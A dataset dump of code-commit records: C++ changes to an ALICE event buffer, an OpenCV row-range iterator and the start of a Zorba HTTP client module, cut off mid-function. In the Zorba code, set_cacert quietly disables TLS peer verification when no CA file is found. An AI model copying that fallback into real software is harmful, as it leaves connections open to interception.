blocxx::List<RDNObject>& list) const\n{\n StringArray result;\n \n blocxx::List<RDNObject>::const_iterator it = list.begin();\n for(; it != list.end(); ++it) {\n result.appendArray((*it).verify());\n }\n return result;\n}\n\nblocxx::StringArray\nDNObject::dump() const\n{\n StringArray result;\n result.append(\"DNObject::dump()\");\n\n blocxx::List< RDNObject >::const_iterator it = dn.begin();\n for(; it != dn.end(); ++it) {\n result.appendArray((*it).dump());\n }\n\n return result;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n\n#include \"TObjArray.h\"\n#include \"TTimer.h\"\n#include \"TThread.h\"\n#include \"AliEveEventBuffer.h\"\n\n\n\/\/Not needed, only for debug\n#include \"AliESDEvent.h\"\n\nusing namespace std;\n\nClassImp(AliEveEventBuffer)\n\n\/\/\/_______________________________________________________________________\nAliEveEventBuffer::AliEveEventBuffer() :\n fBufferSize(10),\n fPreBuffer(4),\n fBusy(kFALSE),\n fEventBuffer(NULL),\n fCurrentEvent(NULL),\n fBIndex(),\n fTimer(NULL),\n fEventId(),\n fBufferMonStarted(kFALSE)\n {\n \/\/ see header file for class documentation\n fEventBuffer = new TObjArray(fBufferSize, 0);\n fEventBuffer->SetOwner(kFALSE);\n \n for(int id = 0; id < kSize; id++) {\n fBIndex[id] = -1;\n }\n \n fTimer = new TTimer();\n fTimer->Connect(\"Timeout()\", \"AliEveEventBuffer\", this, \"CreateBufferThread()\");\n\n fEventId = new ULong64_t[fBufferSize];\n for(Int_t id = 0; id < fBufferSize; id++ ) {\n fEventId[id] = -2;\n }\n \n\n}\n\n\n\n\/\/\/_______________________________________________________________________\nAliEveEventBuffer::~AliEveEventBuffer() {\n \/\/ see header file for class documentation\n \n if ( fEventBuffer ) {\n fEventBuffer->Clear();\n delete fEventBuffer;\n }\n fEventBuffer = NULL;\n\n if(fCurrentEvent)\n delete fCurrentEvent;\n fCurrentEvent = NULL;\n\n}\n\n\/\/\/___________________________________________________________________________\nvoid AliEveEventBuffer::CreateBufferThread() {\n if(GetBusy()) {\n cout << \"Buffer is busy, no thread created\"<< endl;\n } else {\n SetBusy(kTRUE);\n if ( (CalculateDifference(fBIndex[kTop],fBIndex[kLast]) < fPreBuffer) ) {\n cout << \"CreateBufferThread()\"<<endl;\n TThread * fThread = new TThread(AliEveEventBuffer::BufferThread, (void*) this);\n fThread->Run();\n cout << \"Started BufferThread\"<<endl;\n } else { \n cout << \"Buffer is full already\"<<endl;\n }\n }\n}\n\/\/\/___________________________________________________________________________\nvoid * AliEveEventBuffer::BufferThread(void * buffer) {\n cout <<\"BufferThread : \" <<endl;\n if(buffer) {\n reinterpret_cast<AliEveEventBuffer*>(buffer)->MonitorBuffer();\n } else {\n cout << \"no buffer\"<<endl;\n }\n return (void*)0;\n}\n\n\/\/\/_____________________________________________________________________________\nvoid AliEveEventBuffer::MonitorBuffer() {\n cout << \"Monitorbuffer() \";\n SetBusy(kTRUE);\n FetchEvent();\n SetBusy(kFALSE);\n cout << \"done \" << endl;\n}\n\n\n\/\/\/_______________________________________________________________________________\nTObject * AliEveEventBuffer::NextEvent() {\n \/\/See header file for documentation\n cout << \"NextEvent()\"<<endl;\n TObject * nextEvent = GetNextUnSeen();\n return nextEvent;\n}\n\n\/\/\/______________________________________________________________________________\nTObject * AliEveEventBuffer::Back() {\n cout << \"go back\"<<endl;\n PrintIndeces();\n Int_t prevId = CalculatePrevious(fBIndex[kCurrent]);\n if(prevId == fBIndex[kTop]) {\n cout << \"returning NULL\" << endl;\n return NULL;\n } else {\n fBIndex[kCurrent] = prevId;\n PrintIndeces();\n cout <<\"returning: \"<< fBIndex[kCurrent] << \" \" << fEventBuffer->At(fBIndex[kCurrent]);\n return fEventBuffer->At(fBIndex[kCurrent]);\n }\n}\n\n\n\n\/\/\/______________________________________________________________________________\nTObject * AliEveEventBuffer::Fwd() {\n PrintIndeces();\n if (fBIndex[kCurrent] == fBIndex[kLast]) {\n cout<< \"returning NULL\"<<endl;\n return NULL;\n }\n \n fBIndex[kCurrent] = CalculateNext(fBIndex[kCurrent]);\n TObject * event = fEventBuffer->At(fBIndex[kCurrent]);\n return event;\n}\n\n\n\n\/\/\/________________________________________________________________________________\nTObject * AliEveEventBuffer::GetNextUnSeen() {\n \/\/See header file for documentation\n cout << \"GetNextUnSeen\"<<endl;\n PrintIndeces();\n if(CalculateDifference(fBIndex[kTop], fBIndex[kLast])) {\n fBIndex[kLast] = CalculateNext(fBIndex[kLast]);\n fBIndex[kCurrent] = fBIndex[kLast];\n PrintIndeces();\n return fEventBuffer->At(fBIndex[kCurrent]); \n } else {\n cout << \"No new event available, only events in buffer available!\"<<endl;\n return NULL;\n } \n}\n\/\/\/_________________________________________________________________________________\nvoid AliEveEventBuffer::PrintIndeces() {\n for(Int_t i = 0; i < kSize; i++) {\n cout << i << \": \" << fBIndex[i] << endl;\n }\n}\n\/\/\/_________________________________________________________________________________\nvoid AliEveEventBuffer::PrintBuffer() {\n for(Int_t i = 0; i < 10; i++) {\n AliESDEvent * event = dynamic_cast<AliESDEvent*>(fEventBuffer->At(i));\n if(event) {\n cout << i << \": \" <<event << \" \" << event->GetEventNumberInFile() << endl;;\n }\n }\n}\n\n\/\/\/____________________________________________________________________________________\nvoid AliEveEventBuffer::FetchEvent() {\n cout << \"FetchEvent \" << endl;\n TObject * event = GetEventFromSource();\n ULong64_t eventId = GetEventIdFromSource();\n if(event) {\n AddToBuffer(event);\n fEventId[fBIndex[kTop]] = eventId; \n }\n \n PrintIndeces();\n cout << \"FetchedEvent \" << endl;\n \n}\n\n\/\/\/_________________________________________________________________________________\nvoid AliEveEventBuffer::AddToBuffer(TObject * event) {\n cout << \"Add to buffer\"<<endl;\n if(!event) return;\n\n fBIndex[kTop] = CalculateNext(fBIndex[kTop]);\n \/\/Delete the event already there (ok to delete as object, not aliesdevent, TList?)\n \/\/TObject * object = fEventBuffer->At(fBIndex[kTop]);\n fEventBuffer->RemoveAt(fBIndex[kTop]);\n \/\/if (object) delete object;\n fEventBuffer->AddAt(event, fBIndex[kTop]);\n\n}\n\n\/\/\/_____________________________________________________________________________________\nInt_t AliEveEventBuffer::CalculateNext(Int_t current) {\n \/\/See header file for documentation\n current++;\n if(current == fBufferSize) current = 0;\n return current;\n}\n\n\n\/\/\/_____________________________________________________________________________________\nInt_t AliEveEventBuffer::CalculatePrevious(Int_t current) {\n \/\/See header file for documentation\n cout << \"CalculatePrev: \" << current; \n current--;\n if(current == -1) current += fBufferSize;\n cout << \"... \" << current << endl;\n return current;\n}\n\n\/\/\/__________________________________________________________________________________\nInt_t AliEveEventBuffer::CalculateDifference(Int_t top, Int_t low) {\n \/\/See header file for documentation\n if (top > low) {\n \/\/ cout << \"top > low\"<<endl;\n return (top - low);\n } else if (top < low) {\n \/\/ cout << \"low < top\"<<endl;\n return (fBufferSize - low + top);\n } else {\n \/\/cout << \"calculated to 0\"<<endl;\n return 0;\n }\n}\n\n\/\/\/___________________________________________________________________________________\nvoid AliEveEventBuffer::StartBufferMonitor() {\n \/\/cout << \"NOT !!! starting buffer mon\"<<endl;\n cout << \"starting buffer mon\"<<endl;\n if(!GetBufferMonStarted()) {\n CreateBufferThread();\n SetBufferMonStarted(kTRUE);\n fTimer->Start(3000);\n } else {\n cout << \"Stopping buffer monitor\"<<endl;\n fTimer->Stop();\n SetBufferMonStarted(kFALSE);\n }\n}\n\/\/\/___________________________________________________________________________________\nvoid AliEveEventBuffer::StopBufferMonitor() {\n cout << \"Stopping buffer mon\"<<endl;\n SetBufferMonStarted(kFALSE);\n fTimer->Stop();\n}\n\n\n\/\/ \/\/_________________________________________________________________________________\n\/\/ Int_t AliEveEventBuffer::NavigateEventBufferBack() { \n\/\/ \/\/ see header file for class documentation\n\n\/\/ \/\/ -- reached the end of the buffer\n\/\/ if ( fNavigateBufferIdx == fBufferLowIdx )\n\/\/ return -1;\n\n\/\/ Int_t newIdx = fNavigateBufferIdx - 1;\n\/\/ if ( newIdx == -1 )\n\/\/ newIdx = BUFFERSIZE-1;\n\n\/\/ fCurrentBufferIdx = fNavigateBufferIdx = newIdx;\n\n\/\/ return newIdx;\n\/\/ }\n\n\/\/ \/\/_______________________________________________________________\n\/\/ Int_t AliEveEventBuffer::NavigateEventBufferFwd() {\n\/\/ \/\/ see header file for class documentation\n\n\/\/ \/\/ -- reached the top of the buffer\n\/\/ if ( fNavigateBufferIdx == fBufferTopIdx )\n\/\/ return -1;\n\n\/\/ Int_t newIdx = fNavigateBufferIdx + 1;\n\/\/ if ( newIdx == BUFFERSIZE )\n\/\/ newIdx = 0;\n \n\/\/ fCurrentBufferIdx = fNavigateBufferIdx = newIdx;\n\n\/\/ return newIdx;\n\/\/ }\n\n\/\/ void AliEveEventBuffer::MonitorBuffer() {\n\/\/ \/\/See header file for documentation\n\/\/ if( GetNAvailableEvents() < 10) {\n\/\/ StopBufferChecker();\n\/\/ StartLoop();\n\/\/ }\n\/\/ }\n\n\/\/ void AliEveEventBuffer::StartLoop() {\n\/\/ \/\/See header file for documentation\n\/\/ fTimer->Start(2000);\n\/\/ }\n\/\/ void AliEveEventBuffer::StopLoop() {\n\/\/ \/\/See header file for documentation\n\/\/ fTimer->Stop();\n\/\/ }\n\n\/\/ void AliEveEventBuffer::StartBufferChecker() {\n\/\/ \/\/See header file for documentation\n\/\/ fBufferTimer->Start(2000);\n\/\/ }\n\/\/ void AliEveEventBuffer::StopBufferChecker() {\n\/\/ \/\/See header file for documentation\n\/\/ fBufferTimer->Stop();\n\/\/ }\n\n\/\/ AliESDEvent * GetNextEvent() {\n \n\/\/ tree->GetEntry(fEvent++);\n\n\/\/ AliESDEvent * event = new AliESDEvent();\n\/\/ event->ReadFromTree(fTree);\n\/\/ if (event) {\n\/\/ return event;\n\/\/ } else {\n\/\/ cout << \"error getting event\" << endl;\n\/\/ return NULL;\n\/\/ }\n\/\/ }\n<commit_msg>Fixed busy error<commit_after>#include <iostream>\n\n#include \"TObjArray.h\"\n#include \"TTimer.h\"\n#include \"TThread.h\"\n#include \"AliEveEventBuffer.h\"\n\n\n\/\/Not needed, only for debug\n#include \"AliESDEvent.h\"\n\nusing namespace std;\n\nClassImp(AliEveEventBuffer)\n\n\/\/\/_______________________________________________________________________\nAliEveEventBuffer::AliEveEventBuffer() :\n fBufferSize(10),\n fPreBuffer(4),\n fBusy(kFALSE),\n fEventBuffer(NULL),\n fCurrentEvent(NULL),\n fBIndex(),\n fTimer(NULL),\n fEventId(),\n fBufferMonStarted(kFALSE)\n {\n \/\/ see header file for class documentation\n fEventBuffer = new TObjArray(fBufferSize, 0);\n fEventBuffer->SetOwner(kFALSE);\n \n for(int id = 0; id < kSize; id++) {\n fBIndex[id] = -1;\n }\n \n fTimer = new TTimer();\n fTimer->Connect(\"Timeout()\", \"AliEveEventBuffer\", this, \"CreateBufferThread()\");\n\n fEventId = new ULong64_t[fBufferSize];\n for(Int_t id = 0; id < fBufferSize; id++ ) {\n fEventId[id] = -2;\n }\n \n\n}\n\n\n\n\/\/\/_______________________________________________________________________\nAliEveEventBuffer::~AliEveEventBuffer() {\n \/\/ see header file for class documentation\n \n if ( fEventBuffer ) {\n fEventBuffer->Clear();\n delete fEventBuffer;\n }\n fEventBuffer = NULL;\n\n if(fCurrentEvent)\n delete fCurrentEvent;\n fCurrentEvent = NULL;\n\n}\n\n\/\/\/___________________________________________________________________________\nvoid AliEveEventBuffer::CreateBufferThread() {\n if(GetBusy()) {\n cout << \"Buffer is busy, no thread created\"<< endl;\n } else {\n if ( (CalculateDifference(fBIndex[kTop],fBIndex[kLast]) < fPreBuffer) ) {\n SetBusy(kTRUE);\n cout << \"CreateBufferThread()\"<<endl;\n TThread * fThread = new TThread(AliEveEventBuffer::BufferThread, (void*) this);\n fThread->Run();\n cout << \"Started BufferThread\"<<endl;\n } else { \n cout << \"Buffer is full already\"<<endl;\n }\n }\n}\n\/\/\/___________________________________________________________________________\nvoid * AliEveEventBuffer::BufferThread(void * buffer) {\n cout <<\"BufferThread : \" <<endl;\n if(buffer) {\n reinterpret_cast<AliEveEventBuffer*>(buffer)->MonitorBuffer();\n } else {\n cout << \"no buffer\"<<endl;\n }\n return (void*)0;\n}\n\n\/\/\/_____________________________________________________________________________\nvoid AliEveEventBuffer::MonitorBuffer() {\n cout << \"Monitorbuffer() \";\n SetBusy(kTRUE);\n FetchEvent();\n SetBusy(kFALSE);\n cout << \"done \" << endl;\n}\n\n\n\/\/\/_______________________________________________________________________________\nTObject * AliEveEventBuffer::NextEvent() {\n \/\/See header file for documentation\n cout << \"NextEvent()\"<<endl;\n TObject * nextEvent = GetNextUnSeen();\n return nextEvent;\n}\n\n\/\/\/______________________________________________________________________________\nTObject * AliEveEventBuffer::Back() {\n cout << \"go back\"<<endl;\n PrintIndeces();\n Int_t prevId = CalculatePrevious(fBIndex[kCurrent]);\n if(prevId == fBIndex[kTop]) {\n cout << \"returning NULL\" << endl;\n return NULL;\n } else {\n fBIndex[kCurrent] = prevId;\n PrintIndeces();\n cout <<\"returning: \"<< fBIndex[kCurrent] << \" \" << fEventBuffer->At(fBIndex[kCurrent]);\n return fEventBuffer->At(fBIndex[kCurrent]);\n }\n}\n\n\n\n\/\/\/______________________________________________________________________________\nTObject * AliEveEventBuffer::Fwd() {\n PrintIndeces();\n if (fBIndex[kCurrent] == fBIndex[kLast]) {\n cout<< \"returning NULL\"<<endl;\n return NULL;\n }\n \n fBIndex[kCurrent] = CalculateNext(fBIndex[kCurrent]);\n TObject * event = fEventBuffer->At(fBIndex[kCurrent]);\n return event;\n}\n\n\n\n\/\/\/________________________________________________________________________________\nTObject * AliEveEventBuffer::GetNextUnSeen() {\n \/\/See header file for documentation\n cout << \"GetNextUnSeen\"<<endl;\n PrintIndeces();\n if(CalculateDifference(fBIndex[kTop], fBIndex[kLast])) {\n fBIndex[kLast] = CalculateNext(fBIndex[kLast]);\n fBIndex[kCurrent] = fBIndex[kLast];\n PrintIndeces();\n return fEventBuffer->At(fBIndex[kCurrent]); \n } else {\n cout << \"No new event available, only events in buffer available!\"<<endl;\n return NULL;\n } \n}\n\/\/\/_________________________________________________________________________________\nvoid AliEveEventBuffer::PrintIndeces() {\n for(Int_t i = 0; i < kSize; i++) {\n cout << i << \": \" << fBIndex[i] << endl;\n }\n}\n\/\/\/_________________________________________________________________________________\nvoid AliEveEventBuffer::PrintBuffer() {\n for(Int_t i = 0; i < 10; i++) {\n AliESDEvent * event = dynamic_cast<AliESDEvent*>(fEventBuffer->At(i));\n if(event) {\n cout << i << \": \" <<event << \" \" << event->GetEventNumberInFile() << endl;;\n }\n }\n}\n\n\/\/\/____________________________________________________________________________________\nvoid AliEveEventBuffer::FetchEvent() {\n cout << \"FetchEvent \" << endl;\n TObject * event = GetEventFromSource();\n ULong64_t eventId = GetEventIdFromSource();\n if(event) {\n AddToBuffer(event);\n fEventId[fBIndex[kTop]] = eventId; \n }\n \n PrintIndeces();\n cout << \"FetchedEvent \" << endl;\n \n}\n\n\/\/\/_________________________________________________________________________________\nvoid AliEveEventBuffer::AddToBuffer(TObject * event) {\n cout << \"Add to buffer\"<<endl;\n if(!event) return;\n\n fBIndex[kTop] = CalculateNext(fBIndex[kTop]);\n \/\/Delete the event already there (ok to delete as object, not aliesdevent, TList?)\n \/\/TObject * object = fEventBuffer->At(fBIndex[kTop]);\n fEventBuffer->RemoveAt(fBIndex[kTop]);\n \/\/if (object) delete object;\n fEventBuffer->AddAt(event, fBIndex[kTop]);\n\n}\n\n\/\/\/_____________________________________________________________________________________\nInt_t AliEveEventBuffer::CalculateNext(Int_t current) {\n \/\/See header file for documentation\n current++;\n if(current == fBufferSize) current = 0;\n return current;\n}\n\n\n\/\/\/_____________________________________________________________________________________\nInt_t AliEveEventBuffer::CalculatePrevious(Int_t current) {\n \/\/See header file for documentation\n cout << \"CalculatePrev: \" << current; \n current--;\n if(current == -1) current += fBufferSize;\n cout << \"... \" << current << endl;\n return current;\n}\n\n\/\/\/__________________________________________________________________________________\nInt_t AliEveEventBuffer::CalculateDifference(Int_t top, Int_t low) {\n \/\/See header file for documentation\n if (top > low) {\n \/\/ cout << \"top > low\"<<endl;\n return (top - low);\n } else if (top < low) {\n \/\/ cout << \"low < top\"<<endl;\n return (fBufferSize - low + top);\n } else {\n \/\/cout << \"calculated to 0\"<<endl;\n return 0;\n }\n}\n\n\/\/\/___________________________________________________________________________________\nvoid AliEveEventBuffer::StartBufferMonitor() {\n \/\/cout << \"NOT !!! starting buffer mon\"<<endl;\n cout << \"starting buffer mon\"<<endl;\n if(!GetBufferMonStarted()) {\n CreateBufferThread();\n SetBufferMonStarted(kTRUE);\n fTimer->Start(3000);\n } else {\n cout << \"Stopping buffer monitor\"<<endl;\n fTimer->Stop();\n SetBufferMonStarted(kFALSE);\n }\n}\n\/\/\/___________________________________________________________________________________\nvoid AliEveEventBuffer::StopBufferMonitor() {\n cout << \"Stopping buffer mon\"<<endl;\n SetBufferMonStarted(kFALSE);\n fTimer->Stop();\n}\n\n\n\/\/ \/\/_________________________________________________________________________________\n\/\/ Int_t AliEveEventBuffer::NavigateEventBufferBack() { \n\/\/ \/\/ see header file for class documentation\n\n\/\/ \/\/ -- reached the end of the buffer\n\/\/ if ( fNavigateBufferIdx == fBufferLowIdx )\n\/\/ return -1;\n\n\/\/ Int_t newIdx = fNavigateBufferIdx - 1;\n\/\/ if ( newIdx == -1 )\n\/\/ newIdx = BUFFERSIZE-1;\n\n\/\/ fCurrentBufferIdx = fNavigateBufferIdx = newIdx;\n\n\/\/ return newIdx;\n\/\/ }\n\n\/\/ \/\/_______________________________________________________________\n\/\/ Int_t AliEveEventBuffer::NavigateEventBufferFwd() {\n\/\/ \/\/ see header file for class documentation\n\n\/\/ \/\/ -- reached the top of the buffer\n\/\/ if ( fNavigateBufferIdx == fBufferTopIdx )\n\/\/ return -1;\n\n\/\/ Int_t newIdx = fNavigateBufferIdx + 1;\n\/\/ if ( newIdx == BUFFERSIZE )\n\/\/ newIdx = 0;\n \n\/\/ fCurrentBufferIdx = fNavigateBufferIdx = newIdx;\n\n\/\/ return newIdx;\n\/\/ }\n\n\/\/ void AliEveEventBuffer::MonitorBuffer() {\n\/\/ \/\/See header file for documentation\n\/\/ if( GetNAvailableEvents() < 10) {\n\/\/ StopBufferChecker();\n\/\/ StartLoop();\n\/\/ }\n\/\/ }\n\n\/\/ void AliEveEventBuffer::StartLoop() {\n\/\/ \/\/See header file for documentation\n\/\/ fTimer->Start(2000);\n\/\/ }\n\/\/ void AliEveEventBuffer::StopLoop() {\n\/\/ \/\/See header file for documentation\n\/\/ fTimer->Stop();\n\/\/ }\n\n\/\/ void AliEveEventBuffer::StartBufferChecker() {\n\/\/ \/\/See header file for documentation\n\/\/ fBufferTimer->Start(2000);\n\/\/ }\n\/\/ void AliEveEventBuffer::StopBufferChecker() {\n\/\/ \/\/See header file for documentation\n\/\/ fBufferTimer->Stop();\n\/\/ }\n\n\/\/ AliESDEvent * GetNextEvent() {\n \n\/\/ tree->GetEntry(fEvent++);\n\n\/\/ AliESDEvent * event = new AliESDEvent();\n\/\/ event->ReadFromTree(fTree);\n\/\/ if (event) {\n\/\/ return event;\n\/\/ } else {\n\/\/ cout << \"error getting event\" << endl;\n\/\/ return NULL;\n\/\/ }\n\/\/ }\n<|endoftext|>"} {"text":"<commit_before><commit_msg>Fixing SPXRatio::Parse: data_stat and data_tot<commit_after><|endoftext|>"} {"text":"<commit_before>#ifndef CV_ADAPTERS_ROWRANGE_HPP\n#define\tCV_ADAPTERS_ROWRANGE_HPP\n\n#include <iterator>\n#include <opencv2\/core\/core.hpp>\n\ntemplate <typename T>\nclass RowRangeConstIterator : public std::iterator<std::forward_iterator_tag, T>\n {\n public:\n RowRangeConstIterator()\n : data()\n , row()\n , position()\n {}\n\n RowRangeConstIterator(const cv::Mat_<T>& m, int index)\n : data(m)\n , position(index)\n {\n CV_DbgAssert(position >= 0 && position <= data.rows + 1);\n if (index != data.rows + 1) {\n row = m.row(index);\n }\n }\n \n \/\/ Dereference\n const cv::Mat_<T>& operator*() const\n {\n return row;\n }\n \n const cv::Mat_<T>* operator->() const\n {\n return &row;\n }\n \n \/\/ Logical comparison\n bool operator==(const RowRangeConstIterator& that) const\n {\n return this->position == that.position;\n }\n\n bool operator!=(const RowRangeConstIterator& that) const\n {\n return !(*this == that);\n }\n \n bool operator<(const RowRangeConstIterator& that) const\n {\n return this->position < that.position;\n }\n \n bool operator>(const RowRangeConstIterator& that) const\n {\n return this->position > that.position;\n }\n \n bool operator<=(const RowRangeConstIterator& that) const\n {\n return !(*this > that);\n }\n \n bool operator>=(const RowRangeConstIterator& that) const\n {\n return !(*this < that);\n }\n \n \/\/ Increment\n RowRangeConstIterator& operator++()\n {\n ++position;\n return *this;\n }\n \n RowRangeConstIterator operator++(int) const\n {\n RowRangeConstIterator tmp(*this);\n ++(*this);\n return tmp;\n }\n \n \n\n protected:\n cv::Mat_<T> data;\n mutable cv::Mat_<T> row;\n int position;\n };\n \ntemplate <typename T>\nclass RowRangeIterator : public RowRangeConstIterator<T>\n{\npublic:\n RowRangeIterator()\n : RowRangeConstIterator<T>()\n {}\n \n RowRangeIterator(const cv::Mat_<T>& m, int index)\n : RowRangeConstIterator<T>(m, index)\n {}\n\n \/\/ Dereference\n cv::Mat_<T>& operator*() const\n {\n return RowRangeConstIterator<T>::row;\n }\n\n cv::Mat_<T>* operator->() const\n {\n return &RowRangeConstIterator<T>::row;\n }\n};\n\ntemplate <typename T>\nclass RowRange\n{\npublic:\n typedef RowRangeConstIterator<T> const_iterator;\n typedef RowRangeIterator<T> iterator;\n typedef std::reverse_iterator<const_iterator> const_reverse_iterator;\n typedef std::reverse_iterator<iterator> reverse_iterator;\n \n RowRange(cv::Mat m)\n : data(m)\n {\n CV_Assert(m.type() == cv::DataType<T>::type);\n }\n \n RowRange(cv::Mat_<T> m)\n : data(m) {}\n \n const_iterator begin() const\n {\n return const_iterator(data, 0);\n }\n \n iterator begin()\n {\n return iterator(data, 0);\n }\n \n const_iterator end() const\n {\n return const_iterator(data, data.rows + 1);\n }\n \n iterator end()\n {\n return iterator(data, data.rows + 1);\n }\n \n const_iterator cbegin() const\n {\n return begin();\n }\n \n const_iterator cend() const\n {\n return end();\n }\n\nprivate:\n cv::Mat_<T> data;\n};\n\ntemplate <typename T>\nRowRange<T> make_RowRange(cv::Mat_<T> m)\n{\n return RowRange<T>(m);\n}\n\n#endif\t\/* CV_ADAPTERS_ROWRANGE_HPP *\/\n\n<commit_msg>Fixing off-by-one error in iterator bounds.<commit_after>#ifndef CV_ADAPTERS_ROWRANGE_HPP\n#define\tCV_ADAPTERS_ROWRANGE_HPP\n\n#include <iterator>\n#include <opencv2\/core\/core.hpp>\n\nnamespace cv\n{\n\ntemplate <typename T>\nclass RowRangeConstIterator : public std::iterator<std::forward_iterator_tag, T>\n {\n public:\n RowRangeConstIterator()\n : data()\n , row()\n , position()\n {}\n\n RowRangeConstIterator(const cv::Mat_<T>& m, int index)\n : data(m)\n , row()\n , position(index)\n {\n CV_DbgAssert(position >= 0 && position <= data.rows);\n }\n \n \/\/ Dereference\n const cv::Mat_<T>& operator*() const\n {\n setRow();\n return row;\n }\n \n const cv::Mat_<T>* operator->() const\n {\n setRow();\n return &row;\n }\n \n \/\/ Logical comparison\n bool operator==(const RowRangeConstIterator& that) const\n {\n return this->position == that.position;\n }\n\n bool operator!=(const RowRangeConstIterator& that) const\n {\n return !(*this == that);\n }\n \n bool operator<(const RowRangeConstIterator& that) const\n {\n return this->position < that.position;\n }\n \n bool operator>(const RowRangeConstIterator& that) const\n {\n return this->position > that.position;\n }\n \n bool operator<=(const RowRangeConstIterator& that) const\n {\n return !(*this > that);\n }\n \n bool operator>=(const RowRangeConstIterator& that) const\n {\n return !(*this < that);\n }\n \n \/\/ Increment\n RowRangeConstIterator& operator++()\n {\n ++position; \n return *this;\n }\n \n RowRangeConstIterator operator++(int) const\n {\n RowRangeConstIterator tmp(*this);\n ++(*this);\n return tmp;\n }\n\n protected:\n void setRow() const\n {\n row = data.row(position);\n }\n \n cv::Mat_<T> data;\n mutable cv::Mat_<T> row;\n int position;\n };\n \ntemplate <typename T>\nclass RowRangeIterator : public RowRangeConstIterator<T>\n{\npublic:\n RowRangeIterator()\n : RowRangeConstIterator<T>()\n {}\n \n RowRangeIterator(const cv::Mat_<T>& m, int index)\n : RowRangeConstIterator<T>(m, index)\n {}\n\n \/\/ Dereference\n cv::Mat_<T>& operator*() const\n {\n this->setRow();\n return this->row;\n }\n\n cv::Mat_<T>* operator->() const\n {\n this->setRow();\n return &this->row;\n }\n};\n\ntemplate <typename T>\nclass RowRange\n{\npublic:\n typedef RowRangeConstIterator<T> const_iterator;\n typedef RowRangeIterator<T> iterator;\n \n RowRange(cv::Mat m)\n : data(m)\n {\n CV_Assert(m.type() == cv::DataType<T>::type);\n }\n \n RowRange(cv::Mat_<T> m)\n : data(m) {}\n \n const_iterator begin() const\n {\n return const_iterator(data, 0);\n }\n \n iterator begin()\n {\n return iterator(data, 0);\n }\n \n const_iterator end() const\n {\n return const_iterator(data, data.rows);\n }\n \n iterator end()\n {\n return iterator(data, data.rows);\n }\n \n const_iterator cbegin() const\n {\n return begin();\n }\n \n const_iterator cend() const\n {\n return end();\n }\n\nprivate:\n cv::Mat_<T> data;\n};\n\ntemplate <typename T>\nRowRange<T> make_RowRange(cv::Mat_<T> m)\n{\n return RowRange<T>(m);\n}\n\n} \/\/ namespace cv\n\n#endif\t\/* CV_ADAPTERS_ROWRANGE_HPP *\/\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2006-2008 The FLWOR Foundation.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#include <curl\/curl.h>\n#include <map>\n#include <zorba\/zorba.h>\n#include <zorba\/serializer.h>\n#include <zorba\/external_module.h>\n#include <zorba\/function.h>\n#include <zorba\/empty_sequence.h>\n#include <zorba\/user_exception.h>\n\n#include \"http_request_handler.h\"\n#include \"request_parser.h\"\n#include \"http_response_handler.h\"\n#include \"http_response_parser.h\"\n\n#ifdef WIN32\n# include <Windows.h>\n# define MAX_BUF_SIZE 2048\n#endif\n\nnamespace zorba {\n\n namespace http_client {\n#ifdef WIN32\n\t\tstatic void set_cacert(CURL* lCurl, std::string aPath) {\n\t\t\tTCHAR path[MAX_BUF_SIZE];\n\t\t\tint r = GetModuleFileName(NULL, path, 2048);\n\t\t\tif (r == -1)\n\t\t\t\treturn;\n#\tifdef UNICODE\n\t\t\tchar buf[MAX_BUF_SIZE];\n\t\t\tmemset(buf, 0, MAX_BUF_SIZE);\n\t\t\tfor (int i = 0; i <= r; ++i) {\n\t\t\t\tbuf[i] = (char) path[i];\n\t\t\t}\n\t\t\tstd::string lPath(buf);\n#\telse\n\t\t\tstd::string lPath(path);\n#\tendif\n\t\t\taPath = lPath.substr(0, lPath.rfind('\\\\'));\n\t\t\taPath += \"\\\\cacert.pem\";\n if(GetFileAttributesA(aPath.c_str()) != INVALID_FILE_ATTRIBUTES)\n\t\t\t curl_easy_setopt(lCurl, CURLOPT_CAINFO, aPath.c_str());\n else\n curl_easy_setopt(lCurl, CURLOPT_SSL_VERIFYPEER, 0L);\n\t\t}\n#endif \/\/WIN32\n\n class HttpSendFunction : public ContextualExternalFunction {\n protected:\n const ExternalModule* theModule;\n ItemFactory* theFactory;\n \n public:\n HttpSendFunction(const ExternalModule* aModule) \n : theModule(aModule),\n theFactory(Zorba::getInstance(0)->getItemFactory()) {}\n \n virtual ~HttpSendFunction() {}\n \n public:\n virtual String\n getURI() const { return theModule->getURI(); }\n \n virtual String\n getLocalName() const { return \"http-sequential-impl\"; }\n \n virtual ItemSequence_t \n evaluate(const ExternalFunction::Arguments_t& args,\n const StaticContext* aStaticContext, const DynamicContext* aDynamicContext)\n const;\n };\n \n class HttpReadFunction : public HttpSendFunction {\n public:\n HttpReadFunction(const ExternalModule* aModule) \n : HttpSendFunction(aModule) {}\n \n virtual ~HttpReadFunction() {}\n \n public:\n virtual String\n getLocalName() const { return \"http-nondeterministic-impl\"; }\n \n }; \n \n class HttpClientModule : public ExternalModule {\n protected:\n class ltstr\n {\n public:\n bool operator()(const String& s1, const String& s2) const\n {\n return s1.compare(s2) < 0;\n }\n };\n \n typedef std::map<String, ExternalFunction*, ltstr> FuncMap_t;\n \n FuncMap_t theFunctions;\n \n public:\n virtual ~HttpClientModule();\n \n HttpClientModule() : theModuleUri(\"http:\/\/www.zorba-xquery.com\/modules\/http-client\")\n {\n for (FuncMap_t::const_iterator lIter = theFunctions.begin();\n lIter != theFunctions.end(); ++lIter) {\n delete lIter->second;\n }\n theFunctions.clear();\n }\n \n virtual String\n getURI() const { return theModuleUri; }\n \n virtual ExternalFunction*\n getExternalFunction(const String& aLocalname)\n {\n ExternalFunction*& lFunc = theFunctions[aLocalname];\n if (!lFunc) {\n if (aLocalname == \"http-sequential-impl\") {\n lFunc = new HttpSendFunction(this);\n } else if (aLocalname == \"http-nondeterministic-impl\") {\n lFunc = new HttpReadFunction(this);\n } \n }\n return lFunc;\n }\n \n virtual void\n destroy()\n {\n if (!dynamic_cast<HttpClientModule*>(this)) {\n return;\n }\n delete this;\n }\n \n private:\n String theModuleUri;\n };\n\n ItemSequence_t\n general_evaluate(\n const ExternalFunction::Arguments_t& args,\n const StaticContext* aStaticContext,\n 